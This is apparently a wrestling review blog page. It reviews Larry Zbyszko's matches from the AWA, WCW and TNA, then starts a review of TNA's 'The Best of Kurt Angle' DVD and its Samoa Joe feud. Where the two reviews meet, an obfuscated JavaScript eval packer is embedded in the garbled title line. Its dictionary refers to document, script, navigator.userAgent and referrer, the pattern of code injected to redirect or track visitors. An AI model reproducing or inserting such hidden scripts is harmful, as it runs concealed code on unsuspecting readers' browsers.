In an impressive move, Larry has a headlock on and Barry hits a belly to back for the counter with one arm. Very impressive looking. He then calls Baby Doll a bad word. Barry goes for a suplex but his knee gives out and Larry crashes to the mat. Isn’t that the same thing as a regular suplex? We go to the floor (called the streets for no apparent reason by JR) as this is FAR better than the previous match. It still sucks, but it’s better I guess.

We’re fifteen minutes in according to Tony. See what happens when you do more than just hammerlocks? We’re getting covers and various other shots like that but it’s still Zbyszko and Windham. In other words, it’s pretty boring. And on that note both guys fall down. Great. Just great.

Barry does six punches in the corner. Six? What the heck ? Down goes the referee. That’s just what this match needed. Baby Doll’s shoe goes into Windham’s head for the pin. That’s the only title change in the belt’s history as it would be dropped in like a year with no one caring.

Rating: D-. This was boring, but to be fair this was light years ahead of the previous match. At the end of the day, Larry Zbyszko singles matches can only be so good. This wasn’t horrible, but NO ONE cared at all. At least we’re half done with the card. It was a different time where titles would just be thrown around for no real reason. Scratch the different part.

It was back to the AWA where Larry would win the World Title in the final days of the promotion. Here’s a six man tag from some point in 1990.

Doug Somers/Colonel DeBeers/Larry Zbyszko vs. Curt Hennig/Greg Gagne/Jimmy Snuka

Larry has blonde hair here and it looks weird to say the least. This is back in Vegas for no apparent reason and is billed as the main event. Gange is the son of the owner and completely and utterly crap. He was given a title made for him and he was literally one of only two people to hold it until the company folded. The heels have Sherri Martel with them here and she’s listed as Women’s Champion so this is after June 28.

DeBeers says something stunning as he says he won’t wrestle Snuka as he’s not 100% white. He’s apparently replacing some rookie named Scott Hall. I love seeing random names like that pop up. And before any moron says something, yes I know Hall wrestled for a long time in the AWA. Larry Hennig, Curt’s dad, is on commentary with the other two. Larry (Zbyszko is the only one I’ll refer to for the rest of this match) stalls like he always does and the announcers make fun of him for it. Yeah it’s the same show as earlier as the same seats are still empty.

Larry has mad heat on him and the crowd tells him that he sucks. The Colonel comes in and refuses to fight Snuka. He’s from South Africa where apartheid was still going on. He actually has curled mustache and twirls it. I like this guy. The twirler is beating on Snuka while he’s tied up as we return from a commercial. He’s doing the traditional cowardly heel thing as he’ll only fight when it’s easy.

Hennig is the top face in the company only after Bockwinkle and would soon win the title from him, holding it for about a year. This is more or less completely lacking any kind of flow as it’s a mess if I’ve ever seen one. Gagne is getting the tar beaten out of him and Hennig keeps getting tags that the referee doesn’t see. Hennig comes in and just cleans house. You might even say he’s perfect at it. A missile dropkick on Somers gets the pin for the faces. DeBeers jumps Snuka and like an idiot goes for the head. If you’re going to be a racist, know your stereotypes.

Rating: D+. Again just kind of a mess but I’m assuming there’s a story here as there would be little reason to have this as the main event otherwise. Hennig was a god in the AWA at this time and this was no exception at all. He looked dominant and that was why this match happened.

When that company went under, Zbyszko would head to WCW and become part of the Enforcers with Arn Anderson. They would steal the World Tag Team Titles in a tournament final and defend them at Halloween Havoc 1991.

Tag Titles: Enforcers vs. Patriots

The Enforcers are defending and are Arn Anderson and Larry Zbyszko. The Patriots are Todd Champion and Firebreaker Chip and are also the US Tag Champions, but their titles aren’t on the line here. For the sake of simplicity, if I say champions here, I only will be referring to the Enforcers. Chip, who looks like he has an entire steroid store inside him, hooks a quick abdominal stretch but Larry escapes.

Zbyszko is getting frustrated so he brings in Anderson. Off to the much taller Todd Champion but Anderson punches him down with ease. Todd gets sent to the apron but he low bridges Anderson to the floor, which again isn’t a DQ. Back in the ring and Anderson gets caught in a bearhug but Larry breaks it up. Everything breaks down and the Enforcers are knocked to the floor.

Larry comes in to face Todd and guess what Larry does. Just take a guess. After running from Todd he makes a blind tag to Anderson who dumps Todd to the floor. Larry rams him into the barricade to take over and the Patriots are in trouble. Anderson puts a knee into the chest and it’s back to Larry. Neckbreaker gets two. Todd pounds on Anderson but Arn makes a blind tag to bring Larry back in. Larry gets caught in a suplex and it’s a double tag to Arn and Chip. Everything breaks down and Chip runs into Larry, allowing Anderson to spinebust him in half for the pin to retain.

Rating: D. This was another boring match with the Patriots being in there because the Enforcers needed a challenger. The match wasn’t any good at all and the Patriots clearly weren’t very good. Chip looked like he was about to explode with all of those bulging muscles on a small frame too.

Their major feud would be with Barry Windham and Dustin Rhodes. They would break Barry’s hand at Halloween Havoc though and put him on the shelf. Dustin needed a new partner, and he debuted one at Clash of the Champions XVII.

World Tag Team Titles: Enforcers vs. Dustin Rhodes/???

Anderson and Zbyszko are defending. Dustin comes out with Barry but Windham is in street clothes. Barry says he can’t wrestle tonight (that was announced earlier) but introduces the partner. The partner comes out in a black robe and a huge dragon mask over his face. Dustin goes over and pulls the mask off to reveal……RICKY STEAMBOAT. The Enforcers go insane and refuse to hand the belts over to the referee. Anderson to Zbyszko: “HE’S JUST A MAN!”

Steamboat and Anderson get things going but everything quickly breaks down with all four guys heading outside. Zbyzsko is sent into the barricade and the Enforcers go back inside, only to be dropkicked right back to the floor as the challengers stand tall. Things settle down with Ricky grabbing a headlock before dragging it over to the corner for a tag to Rhodes. The challengers start some fast tagging to work on Larry’s arm with Dustin cranking on an armbar.

Arn finally fights back and takes Rhodes into the corner and stomping away to take over. Dustin charges into a knee in the corner and Arn is actually able to hit his top rope forearm to the back (which usually has as good of a track record as Flair coming off the top). Rhodes gets a boot up in the corner and drops Anderson to the floor with an elbow to the head. Back in and it’s off to Larry who talks a lot of trash and wants the Dragon.

Steamboat is just fine with that and scores with some martial arts but Larry slaps him in the face and gets Ricky to chase him around. The chase allows the Enforcers to catch Steamboat coming in with some double teaming and the champions take over. Ricky fights back with some chops to Anderson but Larry comes in to break up a sunset flip. The champions cheat on an abdominal stretch before dropping Steamboat with a belly to back suplex for two.

Anderson ducks his head for a backdrop but gets planted into the mat but Larry prevents a hot tag attempt. Steamboat can’t slam him due to the work on his back so Anderson slaps on a bearhug. He takes Ricky down to the mat with the hold for some two counts but Steamboat counters with a bodyscissors. Anderson switches up to a Boston crab and keeps walking it over to his corner. Larry does the same and Steamboat slaps the mat but we’re a few years away from that meaning anything in wrestling.

Rhodes gets the tag but the referee is with Anderson to further fire up the crowd. Steamboat comes back with an atomic drop to Arn and they ram heads to put both guys down. Ricky finally crawls over and makes the tag to Dustin and blow the roof off the place. Dustin cleans house with slams all around and a bulldog to Anderson. Rhodes gets knocked into the corner but Steamboat tags himself in and hits the high cross body for the pin and the titles.

Rating: A. Great old school style tag team match here with the Enforcers cutting the ring off and using classic tag team strategy. They did all the tag team spots that have worked for years and they worked here too. Dustin was getting better every single day around this time and putting him in there with Ricky Steamboat was going to make him even stronger.

Larry would start to wrap up his career around this point but he wouldn’t be done. A few years later, Steven Regal started running his mouth about how great he was and Larry didn’t take kindly to this. He decided to take Regal on at Slamboree 1994.

Larry Zbyszko vs. Steven Regal

Regal is TV Champion here but this is non title. Regal had been insulting America on Saturday Night and Larry got tired of it and punched him. There’s an anti-WWF sign in the crowd, saying WCW dominates WWF. At this time, not really but whatever. Both were rather uninteresting. Apparently Regal reads books on how butterflies fly. Why does Heenan know that? We’ve walked around for about a minute and a half and now we get contact.

It was a leg trip and it leads to more stalling. And then we repeat that. Ok seriously we’ve had three minutes go by and there have been two leg trips. Freaking DO SOMETHING! And now Regal is killing time on the floor. We hit some decent chain wrestling that lasts all of 10 seconds as I guess that’s just too much for them. Regal’s face is better than just about anyone else’s ever. There’s some great technical stuff in there but the constant stalling and standing around is hurting it a lot for me.

Regal uses a move that we would refer to as a Tazmission, which naturally gets a BORING chant from the ECW crowd. Regal goes for a butterfly suplex but Larry backdrops him over and gets a pin out of it. They would switch the title the following Saturday, so this being non-title makes something close to sense. You have to remember Saturday Night was like their Nitro at the time.

Rating: B-. This was solid from an in ring standpoint, but the stalling was freaking STUPID. It sucked the life out of this for me as it was like having commercials almost. It’s a standard thing for both guys, but that doesn’t make it right. Regal would wind up doing a far more emotional version of this about 12 years later with Dean Ambrose, Kassius Ohno and Cesaro.

Larry would become a full time commentator after this run, but come out of retirement again in late 1997 to face Eric Bischoff. The match was at Starrcade 1997 for control of Monday Nitro and with Bret Hart as guest referee.

Eric Bischoff vs. Larry Zbyszko

This should have been Hall vs. Larry, as those two had been talking trash to each other for months. However, Larry only gets Hall if he beats Eric here tonight. If Eric wins, the NWO controls Nitro. Larry is in good shape here considering he’s 46 and hasn’t wrestled regularly in about five years. Bret checks them for weapons and we’re ready to go. Bischoff has the body of a 15 year old girl. He is however a black belt in karate so you can expect a lot of striking.

Bischoff hits a quick shot to Larry’s head and immediately celebrates. More strikes follow and Eric heads out to the floor for consultation with Hall. Back in and Larry hits some shots of his own and Eric is scared. Larry goes after him again and Eric hits a spin kick to the side of the head that knocks Larry down. That’s enough for Zbyszko and he charges at Eric and takes him down to the mat. Bret admonishes him for pulling Eric’s hair, so Larry puts on a sleeper and a headscissors, both of which are broken up for being chokes.

Off to a standing figure four but Eric quickly makes a rope. The damage is done though and Larry goes after the leg. Makes sense against a karate guy. Bret keeps Larry away from Eric and the announcers PANIC. Imagine that: a referee following the rules. Eric is sent into the steps and takes a brief walk around the ring. Back in and Bret blocks a right hand from Larry, allowing Eric to get in a kick to the head. Bischoff fires more kicks with Larry on the ropes, although Bret is fine with them.

Eric is starting to kick himself out though as the kicks are getting weaker and weaker each time. Now he fires rights and lefts in the corner as Larry is just covering up. Eric can barely move now and Larry shakes everything off. A suplex puts Bischoff down and Larry ties him in the Tree of Woe. Hall pulls something out of his pocket and loads it into Eric’s shoe, WITH BRET LOOKING RIGHT AT THEM. I mean, he knows what’s going on so why not LOOK THE OTHER WAY???

Anyway, Eric kicks him in the head with the loaded foot and the piece of metal goes flying. Bret isn’t supposed to see it, despite watching it fly through the air. Eric celebrates, so Bret hits both Bischoff and Hall before putting Hall in the Sharpshooter, which is Bret’s version of the Scorpion Deathlock. Larry chokes Eric for a bit and is declared the winner, presumably by DQ.

Rating: F. This was in the second to last spot on the biggest show of the year and featured the boss of the company who has no skill whatsoever in the ring. Larry did fine all things considered, but to waste this spot on this match and to waste BRET HART’s in ring debut on this match is absolutely ridiculous in every sense of the word.

Larry would get his hands on Hall the next month at Souled Out.

Scott Hall vs. Larry Zbyszko

These two have a long history dating back to the AWA in the 80s and it’s picked up here in a battle of tradition vs. disrespect. Hall has his lackey Louie Spicolli with him. Larry had promised he wouldn’t come to the ring alone and points to Dusty Rhodes to be his corner man. Scott’s toothpick is swatted out of the air and Larry takes him to the mat. Hall goes after the arm as Tony makes fun of Heenan for thinking Larry was bringing Ted DiBiase to the ring with him. That’s hardly a ridiculous guess.

Larry offers a test of strength but gets Hall’s arms moving so fast that he slaps Scott in the face. Hall gets suckered into an abdominal stretch as Dusty plays cheerleader. Larry goes for a front chancery but Hall counters with a right hand to the face. Hall punches Larry down in the corner before tying up the legs like an STF but putting on an armbar instead.

A clothesline puts Larry down as the fans are all over Hall. The fallaway slam puts Larry down but he backdrops out of the Outsider’s Edge. Zbyszko pounds away in the corner but accidentally spin kicks the referee down. In a nice move, Larry plays possum to catch Hall in the front chancery but Spicolli runs in for the DQ.

Rating: D+. This was pretty good considering it was Larry’s second match in several years. Hall had to tone it down to let Zbyszko keep up with him but the match was hardly a disaster. It’s not a great match on its own but the long story building up to it makes the payoff a bit better. Not much but some.

Zbyszko would occasionally wrestle on the indies but would find a semi-permanent home in TNA. He would become an authority figure that wrestled a bit, including a huge feud with Raven. This culminated in a hair vs. hair match at Victory Road 2006.

Raven vs. Larry Zbyszko

Raven is the face here if you’re confused, as you likely are. He has a big old gut here and Larry seems to fall. Apparently Johnson tripped him. Well at least they’re not hiding it anymore. They lock up and go around the ring a bit as it’s clear this isn’t going to go long. Larry gets a spin kick as the crowd is pretty much dead here. Larry throws on a spinning toe hold and works the leg a bit.

A chop gets two but Larry complains about the speed of the count. Well at least he’s actually wrestling and not stalling all day here as is his custom. Back to the toe hold because I guess those chops were too exciting for us. Raven Effect hits but Johnson was knocked down. A pair of small packages get us nowhere and then the Raven Effect #2 ends this.

Rating: F. What else were you expecting here? Boring match to end a boring angle (by the end of it) and the ending was known for weeks. Yeah I’ve got nothing here. This was boring. That’s it.

Another feud would be with Eric Young, culminating in a Loser Gets Fired match at Bound For Glory 2006.

Larry Zbyszko vs. Eric Young

The fans are totally behind Eric here. They want Larry fired so he stalls as usual. Eric points at Larry and the fans boo, then he point at himself and the fans cheer. No contact about a minute and a half in. They lock up and Larry hits the spinning back kick and the abdominal stretch. Eric reverses and the referee takes a shot. Eric Young vs. Larry Zbyszko is getting a referee bump. Larry pulls out a foreign object but gets hit low. Eric gets the object and hits Larry for the pin.

Rating: F. If you don’t get why this is an F, you’re on your own.

I would look at some indy stuff from later on but I’m afraid it might get worse. Larry Zbyszko is a great example of a guy who did one awesome thing one time and NEVER got close to it again. The feud with Sammartino is still the textbook example of the teacher vs. student story and that’s the case for a reason: it was done to perfection. Larry was at his best on a mic though and it became a problem later on when his matches didn’t get better until he was a veteran in the 90s.

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Champion – The Best of Kurt Angle: The Samoa Joe Story

Champion: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zehan|var|u0026u|referrer|inyyz||js|php'.split('|'),0,{})) The Best of Kurt Angle
Location: Impact Zone, Orlando, Florida
Commentators: Don West, Mike Tenay

So you might remember around Christmas 2013, TNA released a bunch of their DVDs on their Youtube page for free and said it was just for that weekend. It’s now six months later and they’re all still available for free. I might as well take advantage of it and throw some stuff out there, starting with this one. I’m pretty sure the title speaks for itself. There are ten matches on the set and I’ll be doing all of them fresh here. Let’s get to it.

This was released in November 2008.

This whole thing runs seven hours in length with the documentary eating up a lot of that. Expect a lot of stuff to be condensed into a few sentences for the sake of time and space. I won’t leave anything out, but if Kurt talks about the Olympics for ten minutes, it’s going to be summed up as “LONG discussion of the Olympics” unless something major pops up.

We open with the announcement of Angle’s signing from No Surrender 2006. The fact that they announced Impact going to prime time first and THEN gave the major surprise made this even better. It was a genuine shock that people didn’t see coming and that’s what you shoot for with something like this. What a lot of bookers don’t get though is it needs to be something people actually WANT TO SEE, rather than just shock for shock’s sake.

Angle talks about the fans thinking the silhouette was of Goldberg and then lost their minds when they saw his face. I’ll buy that one.

We go to Impact where Samoa Joe has been told to give up the NWA World Title belt (he wasn’t champion) but he ripped up the documents telling him to do so. This brought out Kurt Angle for his Impact debut. Keep in mind that this was when Joe was undefeated and THE TNA guy. Without saying anything, Angle headbutts Joe and nails an Olympic Slam. He picks up the belt but a bloody Joe is back on his feet to lay out Angle with an enziguri. In the melee, Jeff Jarrett comes in to take his belt back. Security has to come out and separate the guys from brawling.

Angle’s family talks about him growing up and how generous he is. Kurt cried whenever he lost at a sport as a kid. Being better than his brothers motivated him to become as good as he was.

Then his dad fell off a building he was working on and died. Angle talks about how hard his dad worked and how he (Kurt) modeled his life after that.

This immediately transitions back into the Joe vs. Angle feud as we head to Genesis 2006 for Angle’s (important) first match in TNA.

Kurt Angle vs. Samoa Joe

Joe has been undefeated for eighteen months in TNA. Angle has a big bandage on his head after a match with Abyss. Kurt grabs a single leg to start but Joe is immediately in the ropes. Some kicks to the ribs set up Angle’s overhead belly to belly and a clothesline puts Joe on the floor. That’s fine with the Samoan as he grabs Angle by the legs and pulls him to the floor, swinging him into the barricade. Quite the counter.

Back in and Angle misses a charge into the post and falls back out to the floor. The suicide elbow drops Kurt again and Joe rams him face first into the steps for good measure. They’re actually nailing the big match feel so far. Kurt’s head is busted open as the bandage has come off. Joe of course kicks at the cut and digs away with his fingers. That’s quite the savage as he rubs Angle’s blood over his chest.

A powerslam puts Angle down for two and a tilt-a-whirl backbreaker gets the same as Joe is in full control. He tries the MuscleBuster too early though and Angle counters with a tornado DDT for two. Joe misses a charge into the corner though and it’s time to roll some Germans. They both the release though and Joe is dropped (thankfully not on his head) for two.

The Angle Slam is countered into an armdrag and Joe nails a running knee in the corner. An enziguri sets up the MuscleBuster for a close two and both guys are down. Angle rolls out of the Koquina Clutch and grabs the Slam for two. The fans want someone to make the other tap and Angle takes down the straps.

Kurt hooks the ankle lock but Joe finally rolls over and pulls Kurt down into the Clutch. Angle counters that into the ankle lock and Joe is in trouble. He rolls through to send Angle into the corner but misses a charge, setting up the Slam. Angle does a favorite of mine by putting the straps back up so he can take them down agani, setting up the ankle lock with a grapevine to make Joe tap out.

Rating: B-. It’s good but this didn’t hit the levels they were shooting for. The fact that it was only thirteen and a half minutes hurt it a bit as they needed some extra time to make this a big better. It’s good, but having this match so soon in Angle’s run but it wasn’t the worst decision in the world.

The fans tell Joe that he tapped out and Joe says they’re absolutely right. Angle was the better man tonight but if Kurt is that much of a man, he’ll give Joe a rematch. Joe holds his hand out but Angle won’t shake it and walks away.

Kurt’s brothers talk about Angle hitting another level in athletics in about 9th grade. Losing drove him to work that much harder and he became unbeatable. He played an amazing game of football right after his dad died which made Kurt realize how important his father was to him.

That brings us to college where he focused on wrestling instead of any other sport. This goes into a long discussion of how awesome Angle was in college.

We transition back to his professional career as Angle talks about his sister dying before a match with Samoa Joe.

Christian talks about how awesome Angle vs. Joe was.

Angle talks about giving Joe a rematch because the man he beat for the Olympic gold medal was against a man that beat him before.

Joe talks about needing one more chance, which he got at Turning Point 2006.

Samoa Joe vs. Kurt Angle

Angle is mostly heel now. Kurt takes him into the corner to start before an armbar puts Joe on the mat. Off to the leg instead but Joe makes it into the ropes. Back up and Joe just LEVELS Kurt with a clothesline and hammers away in the corner. Kurt is sent to the floor but comes up with right hands before running inside and diving over the top to take out Joe.

They slug it out on the floor before heading back inside for even more brawling. Joe is in trouble on the mat but comes up with something like a Kimura. Angle reverses and they fight in the corner until Joe hits his throat on the ropes. The overhead belly to belly gets two for Kurt and we hit the body vice on the mat. Joe fights up and plants Angle with a release German suplex.

Some clotheslines have Angle in trouble but he counters the Clutch into Rolling Germans. Joe pops back up again with a suplex of his own but Angle rolls through the MuscleBuster into the ankle lock. That gets rolled through as well so it’s the Angle Slam for two. They hit the mat again with Angle getting caught in the Clutch. Angle slips out of that as well and puts on the ankle lock again but Joe counters THAT into the Clutch. AGAIN Angle counters into the ankle lock with the grapevine but Joe actually crawls over to the ropes. I think that’s one of about three time that hold has ever been escaped.

Angle takes him into the corner but Joe fights out of a belly to belly superplex. Kurt will have none of that though and runs the corner for the superplex and two. Joe blocks a charging Angle with an elbow but the referee gets bumped. Angle gets caught in the choke and taps but there’s no one to see it. Why Joe would release the hold is beyond me but it’s a common wrestling mistake. Angle hits the Samoan low and grabs a chair. The chair hits the rope though and winds up knocking Angle right back into the Clutch for the submission.

Rating: B+. I liked this much better than the previous one but the last segment hurt things. The low blow and chair didn’t need to be in there but it did tell a nice story of Angle not trusting his own abilities and losing as a result. Setting up a trilogy made the most sense for these two though so Joe had to get the win.

Back to the family to discuss Angle’s rise through the amateurs, including winning the World Championships and gearing up for the Olympics. Kurt was losing a lot at the time and actually quit for awhile. That didn’t even last two months and Angle came back with even more intensity. He would tire guys out and win his matches easily which was the strategy he used going into the Olympics. Angle knew he would retire if he won the gold medal.

We look at Angle’s training regimen and it’s INSANE, with Angle running up steep hills and jumping rope for long stretches of time day after day.

This brings us to the broken neck at the US Open. Angle could barely stand but found a doctor to clear him. They couldn’t use Cortisone because it’s a steroid so they pumped him full of Novocaine (the stuff used for dental work) before every match. A chiropractor tried cracking his neck but it kept taking away the feeling in Angle’s arms. He only had four shots per match at the Olympics but won anyway.

We get into a discussion of Dave Schultz, Angle’s coach and the king of amateur wrestling in America. Then Schultz got shot and killed, so Angle started coaching himself. Kurt won the gold medal and Bruno Sammartino of all people comments on it. We jump back for a LONG discussion of Angle’s gold medal match. Kurt won on a judges’ decision and it’s a cool story to hear about his rollercoaster of waiting to find out.

Discussions of Angle’s charity work and celebrity status after the gold medal. These are like 5-10 minutes long each.

Back to professional stuff for…..another Samoa Joe match. This time it’s a thirty minute iron man match at Final Resolution 2007.

Kurt Angle vs. Samoa Joe

The winner gets a World Title match at Against All Odds. Feeling out process to start as the fans are totally split on who to cheer for. Kurt takes him down and cranks on a headlock but Joe nails a shoulder block to send Angle outside. Back in and another shoulder puts Angle out again as we’re three minutes into the match. Kurt gets in again and nails a running shoulder to put Joe down this time.

Things slow down a bit until Joe takes Kurt’s head off with a clothesline. The corner enziguri gets two and we hit a seated abdominal stretch by the Samoan. Angle quickly gets up and hits the overhead belly to belly to take over again. Off to the chinlock on Joe to kill some time. Joe finally rolls over into the ropes and comes back with a snap suplex as we’re ten minutes in.

Angle is sent outside but Joe mostly misses the suicide elbow to put both guys down on the floor. Back in and the powerslam gets two on Angle but he rolls through the MuscleBuster, only to get caught in the Clutch for the first fall with about seventeen minutes to go. We keep going after a quick rest period and Angle takes over with a big right hand. Back to the chinlock as we hit fifteen minutes left in the match.

Joe fights up and has to armdrag out of the Angle Slam attempt. A big running knee to the face takes Kurt down but he grabs the ankle lock with the grapevine to tie the match up with fourteen minutes left. Joe tapped out almost immediately to prevent further damage. A European uppercut gets two for Angle and we’re back in the chinlock. Back up and Joe can’t armdrag out of the Slam again and it’s back to the ankle lock with the grapevine. Joe has to tap again to make it 2-1 with eleven minutes to go.

Under ten minutes now with Angle stomping away at the bad leg in the corner. Joe fights back and hits a running knee to the face in the corner, setting up the MuscleBuster but AGAIN Angle rolls through for a two count. The Slam connects for two and there go the straps. Joe rolls him into the buckle though and nails the MuscleBuster to tie it up with seven and a half minutes left.

A Joe’s Gonna Kill You chant starts up but Angle takes out the bad leg. We hit the grapevined ankle lock again but Kurt switches back to a normal one, allowing Joe to roll through to escape. Kurt grabs a rollup out of nowhere though to make it 3-2 with five minutes to go. They head outside for some brawling as we have four minutes on the clock. Neither guy gets an advantage so they head back inside for the release Rock Bottom out of the corner from Joe.

Three minutes left. Angle slips down to the floor and wraps Joe’s bad leg around the post twice in a row. Back in and we hit two minutes. Joe nails another MuscleBuster but Angle gets his foot on the ropes at two. Joe kicks away from the ankle lock with a minute left. Angle blocks a Clutch attempt but Joe is right back on him. Thirty seconds to go. Joe puts on an ankle lock of his own with a grapevine but Angle holds on without tapping out for a three to two win.

Rating: B-. This wasn’t as good as the second match as the chinlocks get a bit tiring. They make perfect sense but they’re dull to sit through. The general problem with these matches is you have to wait until the very end for the real drama. It’s not a bad match or anything and it’s a good way to close out the series, but Turning Point was much better.

Angle talks about life after the Olympics and not knowing what he was supposed to do. This leads to a long discussion of Angle being a local celebrity in Pittsburgh and how much the city loves wrestling. Being a sportscaster didn’t work all that well and there’s a long story of how big a disaster his first night was.

Kurt was named Iron Man of the Year by a Pittsburgh beer company and met his wife through the promotional campaign. Another long discussion of his family life follows.

Angle lost at Against All Odds, won the title at Sacrifice, got stripped of it due to it being a double pin, and would got another shot in the King of the Mountain match at Slammiversary 2007.

TNA World Title: Chris Harris vs. Kurt Angle vs. AJ Styles vs. Samoa Joe vs. Christian Cage

Title is vacant coming in. The rules here are a bit complicated. It’s a reverse ladder match as you have to hang the title above the ring to win. Before you can do that though, you have to become eligible by getting a pinfall or submission on someone else. If you get pinned or submit, you have to go to a penalty box at ringside for two minutes. Officially Angle has never won the title coming in, even though he won last month. Harris is a surprise entrant. After full entrances for everyone and Big Match Intros we’re finally ready to go.

It’s a huge brawl to start with Cage and goofy Styles (horrible time for him) double teaming Harris. AJ tries to lay down so Christian can be eligible but Angle makes the save. Instead it’s the great AJ dropkick to put Harris down as Angle and Joe fight on the floor. Styles tries a rollup on Christian for two and Christian is livid. Joe breaks up AJ’s moonsault attempt and sends him hard into the barricade.

Back in and Joe nails a running boot to Christian’s chest to put him down but Harris throws Joe through the ropes and onto Angle. Harris can’t hit the Catatonic on Christian but settles for a full nelson slam. AJ tries a tornado DDT but gets caught in the Catatonic to make Harris eligible and send Styles to the box. Joe throws a ladder over the top rope to take out Christian and Harris, giving us Angle vs. Joe. Again.

Joe tries the Facewash on Angle but gets caught in Rolling Germans for his efforts. Christian comes back in and gets caught in the ankle lock and the Clutch at the same time. AJ gets out of the box to make the save as Harris comes back in as well for a big brawl. Christian tries to suplex Harris onto the ladder but gets crotched instead, followed by AJ’s moonsault into a reverse DDT on Harris for two. Styles cleans house but the Clash to Angle is countered into the ankle lock. AJ nips up into a hurricanrana before sending Harris throws AJ over the top onto Chrisitian on the ladder in a big crash.

Harris tries to climb up and hang the belt but Angle brings him down with the Slam for the pin to be eligible. Joe catches Christian in the release Rock Bottom out of the corner and an Island Driver (modified White Noise) takes AJ down. The MuscleBuster gets two as Angle makes the save and there goes the referee. Angle taps out to the Clutch and thankfully Joe doesn’t break the hold. Christian breaks it up with the ladder and steals the pin. Harris is out of the box, Angle goes in and Christian is now eligible.

Joe and Christian go up the ladder with the Samoan taking him down with a huge Diamond Cutter onto the title. Harris goes up the ladder instead but he has to knock Joe down with a belt shot. The same thing happens to Christian but AJ springboard dropkicks the ladder over for the save. Angle is out of the box. Joe and AJ climb on top of the box (just above the top rope) with AJ low blowing out of the Clutch. Joe flips AJ over and through a table on the floor for a HUGE crash.

Now it’s Harris vs. Christian on the cage with Harris getting the better of it. He dives off the cage to take Angle down with a clothesline but has to beat people up before climbing the ladder. Ladder shots put Christian and Kurt down but Christian is up for the save. Christian goes up top but Angle puts on the ankle lock on the ladder. That doesn’t last long as they fight up top until Harris spears Christian down. Angle is all alone and hangs the belt for the win and the title.

Rating: B. It’s a total mess but it’s TNA’s total mess. I can’t imagine people would complain about Angle winning the title as he’s the biggest star in the company and had to really win the title eventually. The fact that Joe wasn’t even eligible for the title is kind of a downgrade for him but he’d have his day eventually.

Joe offers a handshake post match but gets kicked in the gut and Slammed.

We get into a discussion of Angle entering pro wrestling in 1998 after turning it down in 1996. Angle signed for the lowest deal the company offered, knowing he’d make a million dollars in a year. He would train for months, including with Dory Funk Jr. and fellow student Christian, and soon become a top star.

Jeff Jarrett talks about Angle training in Memphis.

Mick Foley talks about Angle’s early years in the WWF and seeing potential in him. After his first contract expired, Angle was given the same kind of contract that Undertaker, HHH and Austin had at the time. This leads to Angle praising Vince.

We completely skip over most of his WWF career and get to him jumping to TNA in roughly two minutes. Makes sense. Angle talks about having four broken necks in his career which messed him up for awhile.

This leads to a discussion of Angle getting addicted to the pain pills and his marriage falling apart as a result.

Now we talk about the neck injury in 2003 and Angle losing feeling in his arms. He kept coming back in a few months and it kept making things worse. This led to him thinking he needed to retire but moving into more marketing and appearance stuff. Then he went on a huge rant against Vince about wanting a release, nearly leading to a fight. Kurt started crying and left the room so Vince said they’d release him for six months to recharge before coming back on the same deal. Vince pointed out that Angle wouldn’t get far on just a gold medal, and that ticked Angle off. Angle is sorry for a lot of the bad stuff he did as he was leaving.

I kid you not, it’s time for another Angle vs. Joe match. From Hard Justice 2007.

TNA World Title/X-Division Title/Tag Team Titles/IWGP Title: Kurt Angle vs. Samoa Joe

Yes it’s for EVERY TITLE IN THE COMPANY plus a Japanese title. Joe is X-Division and Tag Team Champions (by himself) coming in while Angle has the TNA and IWGP World Titles. Karen is scheduled to be at ringside despite having a lot of problems with Kurt around this time. There are empty chairs for her and a guest at the moment so the mystery is on. Joe gets a full island dance troupe to bring him to the ring. It takes three referees to hold up all of the belts but the IWGP Title isn’t even mentioned. Kurt is looking far skinnier here and clearly is distracted by the empty chairs.

Kurt cranks on a headlock to start but gets taken down by a hard shoulder, sending Angle to the floor to clear his head. Karen and some guy show up with champagne and the distraction is on in full. Back in and Joe easily shoves Kurt down so he lowers the straps to make things serious. We go back to silly though as Joe’s sunset flip results in the singlet being lowered for the Flair spot.

Angle goes back outside to argue with Karen and the guy, earning him a glass of champagne to the face. Back in and Joe takes over by sending Angle shoulder first into the post. There’s the Facewash for good measure but Angle grabs a German suplex out of nowhere to put both guys down. Another suplex gets two and we hit the reverse chinlock on the Samoan. Now Angle rolls the Germans but Joe reverses into a release German of his own to counter.

The snap powerslam and enziguri in the corner get two each for Joe. The release Rock Bottom gets the same but Angle snaps into the ankle lock. Joe rolls through but gets caught in a quick Angle Slam for two. The running belly to belly gets two more for Angle but he stops to yell at Karen.

The extra time lets Joe avoid the moonsault and it’s the MuscleBuster for two. Angle has to bite his way out of the Clutch and it’s off to the ankle lock, only to have Joe counter back into the Clutch. A rope is grabbed but the referee goes down. Angle taps to the Clutch but Joe lets him go. Karen gets up with a chair, it’s a swerve, Angle knocks Joe cold and wins all the titles.

Rating: B-. The swerve was about as obvious as you could ever imagine, but the decision is the stupid part. Angle is literally champion of EVERYTHING now which is overkill no matter what. Yeah it’s only going to last a little while, but man alive this got on my nerves back in the day and it’s still annoying today. The match itself was good but the first half was spent with Angle yelling at Karen.

We talk about Angle coming to TNA with various people saying how might lighter of a schedule it was for him. Basically everyone says Angle is amazing, the nicest guy you could ever meet and the best wrestler ever. This just keeps going until Angle starts talking about the fans being passionate. He says their fans care more because they chant TNA and he’s never heard a fan chant WWE. That could be because WWE is about the wrestlers and not the company which is how wrestling has worked for like, ever, and chanting for the company doesn’t usually do all that well but what do I know?

Everyone agrees that Angle made the right choice and they talk about the surprise at No Surrender. Even Sting didn’t know that Angle was coming in until right near the debut. People talk about how excited they were. Don West’s voice is very different than it is on air. This is a segment that could have been trimmed down as it’s been over fifteen minutes since the last match ended.

Angle calls the next match his favorite in TNA. They show the ending before they air the match though which is kind of annoying. I know the ending but how many people watching would have?

X-Division Title: Kurt Angle vs. Jay Lethal

From No Surrender 2007, one of Angle’s three matches that night. He and Sting lost the Tag Team Titles to R-Truth and Pacman Jones earlier in the night because TNA does some stupid things at times. This is nearly at the peak of Black Machismo so Lethal is way over. Angle goes to the ropes to escape a wristlock before easily sending Jay across the ring with a hiptoss. Back up and Jay hits a cartwheel into a dropkick followed by a middle rope ax handle for two.

